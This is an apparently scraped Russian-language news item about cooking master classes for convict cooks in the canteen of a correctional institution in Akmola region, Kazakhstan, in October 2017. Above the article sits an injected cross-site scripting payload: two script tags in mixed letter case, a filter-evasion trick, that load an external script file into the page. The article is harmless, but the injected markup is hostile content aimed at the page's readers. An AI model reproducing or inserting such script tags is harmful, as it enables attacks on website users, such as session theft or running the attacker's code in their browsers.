<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
13.10.2017
Во исполнение письма прокуратуры Акмолинской области от 29.09.2017 года № 02170-14-10395, 10 октября 2017 года в столовой Учреждения ЕЦ 166/5 были проведены мастер классы по приготовлению первых и вторых блюд.
Мастер классы проводились мастерами производственного обучения КГУ «Агротехнический колледж №4» п.Аршалы Грениной Натальей Александровной и Олефиренко Анастасией Николаевной.
При проведении мастер классов присутствовали: представитель РГП Еңбек Астана Каримова
М.К.- главный инженер организации питания, заведующий столовой Арстанов К.А., повара-осужденные,
заведующий филиалом КГУ «АТК №4» Шамрин П.Н.
В ходе мастер классов рассмотрена технология процесса приготовления первых и вторых блюд, даны рекомендации по разнобразию меню из имеющихся продуктов.